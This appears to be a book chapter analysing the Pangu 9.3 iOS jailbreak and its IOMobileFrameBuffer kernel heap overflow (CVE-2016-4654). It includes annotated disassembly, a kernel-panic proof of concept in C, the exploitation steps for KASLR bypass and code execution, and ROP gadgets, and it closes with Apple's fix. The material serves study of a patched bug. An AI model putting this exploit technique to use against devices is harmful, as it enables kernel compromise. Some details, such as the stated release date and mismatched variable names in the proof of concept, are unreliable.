21

Pangu 9.3 (女娲石)

"Pangu 9.3" is the common name given to the iOS 9.2-9.3.3 jailbreak once again produced by the jailbreak masters of Pangu. Following the 9.1 jailbreak, the team decided to release a 64-bit version only this time. Continuing their tradition of mythical Chinese names, this one is named after the five colored stones of the goddess Nüwa, with which she repaired the heavens. Because of the unicode character in the name, the filename of the IPA used was 'Nvwastone' instead.

Indeed, using an IPA instead of a full loader marks an important difference between this jailbreak and its predecessors. The user is required to code-sign and deploy the IPA on the device manually. Fortunately, this is a simple matter to achieve as Apple has started providing free application installation keys to any user with a valid Apple ID. XCode can be avoided altogether thanks to tools such as Cydia Impactor, which provides a simple GUI: dragging and dropping the IPA brings up an Apple ID password prompt (or the per-app password, if using two factor authentication), and the rest is handled automatically. The only other minor annoyance is that the user must trust the key manually (similar to Pangu 9), and the provisioning profile expires after a week. Pangu offers an option to install a certificate on the device which expires into 2017.

Pangu 9.3 (女娲石)

Effective:	iOS 9.2-9.3.3
Release date:	14th October 2015
Architectures:	arm64
IPA size:	22MB
Latest version:	1.1
Exploits:	

- IOMobileFrameBuffer Heap Overflow (CVE-2016-4654)

Another notable difference between this and previous jailbreaks is that NüwaStone is no longer a fully untethered jailbreak, as it requires the app to be launched manually by the user following reboot. In other words, rebooting the device loses the jailbreak, which can be reinstated by running the app. This effectively defines a new class of jailbreaks, referred to as "semi-tethered".

A semi-tethered jailbreak is less convenient for most users (which unsurprisingly grouse, rather than be grateful for having any jailbreak at all!). Yet the minor annoyance of restarting the jailbreak manually relieves Pangu from the usual complex bug chain that would be required in an untether. With no need to defeat code signing, all that is required is a single kernel bug, which can be exploited from the confines of the Sandbox. Pangu finds that in an `IOMobileFrameBuffer` heap overflow - blowing a 0-day - and skillfully uses it to achieve a full jailbreak. We next turn to focus on this bug.

The Kernel Exploit

Apple has invested considerable time and effort in reducing the kernel attack surface via sandbox profiles that grow strict and stricter still. Inevitably, however, user mode application must be able to access the kernel through the wide array of system calls and (in Darwin's case) Mach and IOKit traps. Operations as simple as creating a `UIView` (GUI element in an app), for example, involve allocations of GPU memory - which can only be done in kernel mode by the respective driver.

And it is indeed the respective graphics driver - com.apple.iokit.IOMobileGraphicsFamily.kext - which contains the critical vulnerability needed by Pangu for this jailbreak. The vulnerability is kernel zone-memory ("heap") overflow, but Pangu skillfully uses and reuses this vulnerability to defeat KASLR, perform arbitrary kernel memory read, and arbitrary kernel memory write.

The Bug

The com.apple.iokit.IOMobileGraphicsFamily.kext is a closed source kext, but Pangu were able to reverse it enough to find a vulnerable operation. Listing 21-1 shows the vulnerable code:

Listing 21-1: The vulnerable code in IOMobileGraphicsFamily.kext (from iOS 9.3)

```
_swap_submit:
ffffff80075f7ae8  STP    X28, X27, [SP, #-96]!
..
ffffff80075f7c6c  MOVZ   X27, 0x0
..
//  Reaching here, SP + 56 holds the request (from user mode)
 for (i = 0; i < 3; i++)
{
ffffff80075f7c88  LDR    X8, [SP, #56]     ; R8 = SP + 56    <------------+
..                                                                      ...
ffffff80075f7d48  LDR    X9, [SP, #56]                                   |
ffffff80075f7d4c  ADD    X11, X9, X27, LSL #2                            |
 Request->count =  IOMFBSwap->count;

ffffff80075f7d6c  LDR    W10, [X8, #216]                                 |
ffffff80075f7d70  STR    W10, [X11, #380] ; *0x17c = X10                 |
    if (Request + 216))
ffffff80075f7d74  CBZ    X10, 0xffffff80075f7da4                         |
    {
ffffff80075f7d78  MOVZ   W10, 0x0          ; R10 = 0x0                   |
ffffff80075f7d7c  ADD    X11, X11, #380    ; X11 += 0x17c                |
ffffff80075f7d80  ADD    X12, X9, X27, LSL #6    ; i << 6                |
ffffff80075f7d84  ADD    X12, X12, #392    ; X12 += 0x188                |
ffffff80075f7d88  MOV    X13, X26          ; X13 = X26 = ARG1            |
        for (X10 = 0;  X10 < Request->count; X10++)
        {
ffffff80075f7d8c  LDR    Q0,[X13], #16                          <---+    |
ffffff80075f7d90  STR    Q0, [X12], #16                             |    |
ffffff80075f7d94  LDR    W14, [X11, #0]    ; R14 = *(R11 + 0)       |    |
ffffff80075f7d98  ADD    W10, W10, #1      ; X10++                  |    |
ffffff80075f7d9c  CMP    W10, W14          ;                        |    |
ffffff80075f7da0  B.CC   0xffffff80075f7d8c ------------------------+    |
        } // end for X10..
     } // end if (Request + 216)
ffffff80075f7da4  LDR    W10, [X8, #28]    ; R10 = *(R8 + 28)            |
..                                                                      ...
ffffff80075f8018  ADD    X27, X27, #1      ;  X27++                      |
ffffff80075f801c  CMP    X27, #2           ;                             |
ffffff80075f8020  B.LE   0xffffff80075f7c88 -----------------------------+
} // end for i
```

The code in Listing 21-1 is somewhat abbreviated (so as to focus on the vulnerable part), and therefore must be read in context: The input structure contains an ID (at offset 24), which is the ID of a previously created `IOMFBSwapIORequest`. This request is populated by a loop, which iterates over the swap structure to get `IOSurfaces` (themselves stored as `uint32_t` identifiers, at offsets 28/32/36), and copies them to the request (at offsets 32/36/40, respectively). Then, a particular field of the request - at offset 392 - is copied from the swap structure at offset 228. And that's where the vulnerability is.

Note the memory copy operation - from the swap structure at offset 228 to the request structure at offset 392. . The condition for stopping is a comparison between W10 and W14, with W10 being the incrementing counter, and W14 being a value loaded from *X11, a count which is taken from the request at offset 380, after being filled from the swap structure at offset 216 (and 220 and then 224, per value of i). No size check is performed on this count.

Triggering the overflow from user mode is trivial, as seen is the following code, a proof of concept which will panic the kernel:

Listing 21-2: A proof of concept to panic the kernel using the vulnerability from Listing 21-1

```
 /*
 * Pad the structure correctly and this will crash any iOS kernel before 9.3.4
 */
struct IOMFBSwap_str {
...
/* 0x18 */ uint32_t swapIORequestID;
...
/* 0xA0 */ uint32_t enabled;
/* 0xA4 */ uint32_t completed;
....
/* 0xDC */ uint32_t count;
           uint32_t pad[...];   /* 0x1A8 (< 9.3) or 0x220 (9.3+) */
};
void PoC()
{
    io_connect_t conn = OpenIOService("AppleCLCD");
    uint32_t count = 0xdeaddead;
    /* prepare - obtain swapIORequestID as an out parameter */
    uint64_t swapIORequestID = 0;
    uint32_t swapIDSize = 1;
    IOConnectCallScalarMethod(conn, 4, 0, 0, &swapIORequestID, &swapIDSize);
    struct IOMFBSwap_str ss = { 0 };
     /* submit - provide swapIORequestID (and note user specified count) */
    ss.swapID = swapIORequestID;
    ss.enabled = -1;
    ss.completed = 0;
    ss.count = count;
    IOConnectCallStructMethod(g_connection, 5, &ss, sizeof (ss), 0, 0);
}
```

Note the code opens `AppleCLCD`, though the vulnerable code demonstrated is in `IOMobileFrameBuffer`*. Why is that not an issue?

If you run the code from Listing 21-2, you can expect a panic very similar to the one shown in Listing 21-3. The kernel addresses in the register values will of course vary (due to KASLR), but note in particular X14, as can be expected when correlated with the vulnerable code from Listing 21-1.

* - That the bug is in `IOMobileFrameBuffer`'s swap code explains another requirement of the Pangu 9.3.3 jailbreak - the user is requested during the jailbreak to lock the screen.

Listing 21-3: The panic generated from Listing 21-2

```
  "build" : "iPhone OS 9.0 (13A344)",
...
  "panicString" : "panic(cpu 0 caller 0xffffff80156fc954): Kernel data abort.
  x0: 0x0000000000000000  x1: 0x0000000000000000 x2:  0xffffff8001413920
  x3: 0x0000000000000000  x4: 0x0000000000000000 x5:  0x0000000000000000
  x6: 0xffffff8021c6387c  x7: 0x0000000000000000 x8:  0xffffff800120711c
  x9: 0xffffff8001207c00 x10: 0x0000000000000927 x11: 0xffffff8001207d80
 x12: 0xffffff8001210ffc x13: 0xffffff8001210484 x14: 0x00000000deaddead
 x15: 0x000000007f218557 x16: 0xffffff8021c0578c x17: 0x0000000000000018
 x18: 0x0000000000000000 x19: 0x00000000e00002bc x20: 0xffffff8017601000
 x21: 0x0000000000000001 x22: 0xffffff800120711c x23: 0x0000000000000001
 x24: 0xffffff80226799e4 x25: 0x0000000000000000 x26: 0xffffff8001207204
 x27: 0x0000000000000000 x28: 0xffffff8000c5aa00  fp: 0xffffff8020a83690
  lr: 0xffffff8022739124  sp: 0xffffff8020a83600  pc: 0xffffff802273918c
cpsr: 0x00000304         esr: 0x96000047        far: 0xffffff8001211000
```

The Exploit primitive

There's a long way to go between finding a reliable, repeatable overflow, and going the full length to exploit it. Pangu have to devise a way to turn a rather limited overflow - whose length they control but data they do only partially - to enable the two required ingredients of a jailbreak, namely, defeating KASLR and then achieving arbitrary kernel code execution.

Close inspection of the `IOMFBSwapIORequest` object reveals the following:

- The object size of `IOMFBSwapIORequest` is 872
- The object (like most others) starts with a vtable pointer (that is, at offset 0)
- The requests are maintained in a doubly-linked list, with the next/previous request addresses at offsets 16/24, respectively (assuming 64-bit pointers, of course).
- The request identifier is stored at offset 328.

Pangu needs to take control of the request list, by overwriting the pointer. But this requires a bit of finesse - that is, Feng Shui. From the object size, it is known that the object will be located in the `kalloc.1024` zone. Serendipitously enough, the method structure from the `IOConnectCall` (which is carried in a MIG request) is also in that very same zone. By allocating multiple requests (i.e. calling selector 4 multiple times) multiple requests, all in `kalloc.1024`, can be created. This enables Pangu to target the overflow to corrupt one `IOMFBSwapIORequest` and overflow onto an adjacenet one, wherein offset 16 will be overwritten, to a user-mode address. From this point, it's all downhill as Pangu can craft fake additional `IOMFBSwapIOReqest` structures in user mode.

Defeating KASLR

With the bug at hand, Pangu turn to the art of exploitation. The first step requires defeating KASLR, which - as we've seen with the previous jailbreaks - involves finding the kernel base mapping and the zone layout. Pangu take advantage of the `IOSurface` object that is associated with the swap request. As it so happens, the `IORegistry` contains an `IOMFB Debug Info` property provides information on all swap requests - including the `IOSurface` pointer, stored at offset 32 of the `IOMFBSwapRequest`. This pointer becomes accessible because the entire request now resides in a user-mode controllable buffer.

Without going too much into the structure of an `IOSurface`, it suffices to say that it has a `src_buffer_id` in four bytes at offset 12 of the object. And, like all other `IO*` objects, the `IOSurface` starts with a vtable pointer. Pangu controls the `IOSurface` pointer, so by setting it 12 bytes *ahead*, instead of getting the `src_buffer_id` it will leak the 4 high bytes of the vtable address. Doing so again 8 bytes ahead will leak the 4 low bytes, thereby providing the full vtable address. This leaves but a simple offset calculation, which will yield the kernel base address.

Arbitrary Code Execution

The `swap_submit` handler has another particular behavior which comes in handy: Before returning, it checks if the swap operation was successful. If it was not, it will release the `IOMFBSwapIORequest`. This will call the `::release()` method, which is located at offset 0x28 into the request. The code to do just that can be seen in Listing 21-4:

Listing 21-4: The code to release an `IOMFBSwapIORequest`

```
if (Request)
{
ffffff80075ffa3c         CBZ    X0, 0xffffff80075ffa4c  ;
  releaseMeth = (Request->release(Request)

ffffff80075ffa40         LDR    X8, [X0, #0]      R8 = *(R0 + 0) =  (*request)
ffffff80075ffa44         LDR    X8, [X8, #40]     R8 = *(R8 + 40)
ffffff80075ffa48         BLR    X8
}
```

But the `IOFMBSwapIORequest` is in user-mode, entirely under control. It is therefore a simple matter to achieve arbitrary kernel code execution (by pointing to a gadget in kernel mode. Kernel memory read and write can be obtained by finding the appropriate gadgets, shown in Listing 21-5:

Listing 21-5: The gadgets used by Pangu in NüwaStone (iOS 9.3, base 0xffffff8006806000)

```
; Executes ((*X0) + 168) (X0, (X0 + 64))
ffffff8006c05ee0   LDR    X8, [X0, #0]
ffffff8006c05ee4   LDR    X2, [X8, #168]
ffffff8006c05ee8   LDR    X1, [X0, #64]
ffffff8006c05eec   BR     X2
```

/ \

```
; Reads 4 bytes from (*(X1 + 0x78) + 0x18)
; into (X0 + 0x50)
ffffff8006917dc4  LDR    X9, [X1, #120]
ffffff8006917dc8  LDR    W9, [X9, #24]
ffffff8006917dcc  STR    W9, [X0, #80]
ffffff8006917dd0  MOV    X0, X8
ffffff8006917dd4  RET
```

```
; Writes 8 bytes from (*(X8 + 1672) into (*X1)
;
ffffff800689d97c  LDR    X8, [X8, 1672]
ffffff800689d980  ADD    X8, X8, X0
ffffff800689d984  STR    X8, [X1]
ffffff800689d988  RET
```

The choice of these gadgets becomes clear when one remembers that coming into the code for releasing the request (in Listing 21-4), both X0 and X8 are under control. The top gadget is used for both cases, with the value of X2 set to either the read gadget (left) or write gadget (right). These particular gadgets enables Pangu to take over X1 as well, and thus call any function they see fit -with up to two arguments, but that proves more than enough.

The Apple Fix

Pangu's bug, released shortly before BlackHat 2016, caught Apple unprepared. They rushed to release iOS 9.3.4 solely for the purpose of fixing this bug just ahead of their iOS Security talk in that conference, and assigned it CVE-2016-4654.

iOS 9.3.4

Released August 4, 2016

IOMobileFrameBuffer

Available for: iPhone 4s and later, iPad 2 and later, iPod touch (5th generation) and later

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed through improved memory handling.

CVE-2016-4654: Team Pangu

As with the other fixes we've seen, this one was just as trivial: A single validation check, added to ensure that the size is no more than 4 bytes at most.